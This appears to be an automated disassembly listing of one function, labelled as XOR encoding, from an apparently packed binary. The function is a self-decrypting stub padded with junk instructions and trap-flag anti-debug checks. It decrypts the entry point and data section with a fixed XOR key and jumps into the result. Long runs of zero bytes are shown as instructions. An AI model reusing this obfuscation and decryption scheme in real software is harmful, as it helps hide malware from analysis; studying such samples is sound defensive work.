Function at 0x408b50
Capabilities:
Encode data using xor

Disassembly:
add ebp, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b3a
pop ebx
cld
nop
call 0x408b50
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b4a
pop ebx
cld
nop
cld
pop ebp
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b57
pop ebx
nop
cld
cld
sub ebp, 0x401005
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b69
pop ebx
xor dx, 0
cld
nop
xor bl, 0
nop
cld
lea edi, [ebp + 0x401104]
jmp 0x408b80
cld
or bx, 0
nop
cld
push edx
pushfd
pop edx
test dh, 1
jne 0x408b8d
pop edx
nop
cld
mov ecx, 0x27c
add ecx, 0
cld
jmp 0x408b9e
jmp 0x408ba1
xor bh, 0
jmp 0x408ba7
jmp 0x408baa
jmp 0x408bad
xor bp, 0
jmp 0x408bb4
nop
cld
mov al, byte [edi]
or si, 0
jmp 0x408bbf
push eax
pushfd
pop eax
test ah, 1
jne 0x408bc5
pop eax
add ecx, 0
add bp, 0
add ebx, 0
xor edi, 0
jmp 0x408bd8
jmp 0x408bdb
sub bl, 0
nop
cld
cld
ror al, 0x78
jmp 0x408be7
or si, 0
jmp 0x408bee
cld
add ecx, 0
jmp 0x408bf5
cld
nop
nop
cld
mov byte [edi], al
jmp 0x408bfe
push eax
pushfd
pop eax
test ah, 1
jne 0x408c04
pop eax
nop
nop
cld
nop
dec ecx
cld
cld
nop
nop
inc edi
cld
cld
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408c19
pop ebx
xchg di, di
sub al, 0
push edx
pushfd
pop edx
test dh, 1
jne 0x408c27
pop edx
add dx, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408c34
pop ecx
cld
nop
nop
cld
test ecx, ecx
jne 0x408bb6
pushal
mov esi, entry0
mov eax, 0x8d02ef94
mov dword [esi], eax
mov eax, 0xf1460be9
mov dword [esi + 4], eax
mov eax, 0x6442be4
mov dword [esi + 8], eax
mov eax, 0x9362fa5
mov dword [esi + 0xc], eax
mov eax, 0xe666b2e
mov dword [esi + 0x10], eax
mov eax, 0x16667b2e
mov dword [esi + 0x14], eax
mov eax, 0x5fa2d2c
mov dword [esi + 0x18], eax
popal
jmp 0x408c85
pushal
pushfd
mov esi, entry0
mov edi, esi
mov ecx, 0xcba
mov ebx, 0x6422fa5
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408c98
popfd
popal
jmp 0x408ca4
pushal
pushfd
mov esi, section..data
mov edi, esi
mov ecx, 0x6e8
mov ebx, 0x6422fa5
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408cb7
popfd
popal
mov edi, 0x4011cb
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x7c99ff17], al
into
add byte [esi - 0x7d], ah
mov byte [eax], 0x66
xchg edi, edi
xchg al, al
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408ed5
pop ecx
mov bh, bh
cld
push eax
pushfd
pop eax
test ah, 1
jne 0x408ee1
pop eax
cld
sub sp, 0
sub cx, 0
jmp 0x408ef0
cld
jmp 0x408ef4
push edx
pushfd
pop edx
test dh, 1
jne 0x408efa
pop edx
or al, 0
jmp 0x408f02
nop
cld
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408f0a
pop ebx
jmp 0x408f10
or ch, 0
nop
jmp 0x408f17
xchg ch, ch
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f1f
pop ecx
cld
jmp 0x408f26
jmp 0x408f29
mov ebx, ebx
nop
nop
jmp 0x408f30
sub cx, 0
xchg ebp, ebp
cld
add edi, 0
cld
sub bp, 0
jmp 0x408f42
jmp 0x408f45
sub dl, 0
nop
cld
jmp 0x408f4d
jmp 0x408f50
cld
nop
mov di, di
jmp 0x408f58
cld
xchg ax, ax
or edi, 0
jmp 0x408f62
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f68
pop ecx
sub dx, 0
nop
cld
or al, 0
mov si, si
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f7c
pop ecx
push edx
pushfd
pop edx
test dh, 1
jne 0x408f85
pop edx
xchg esi, esi
sub cl, 0
jmp 0x408f90
jmp 0x408f93
jmp 0x408f96
jmp 0x408f99
or dl, 0
add bp, 0
xor edx, 0
nop
nop
add esp, 0
cld
cld
nop
nop
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al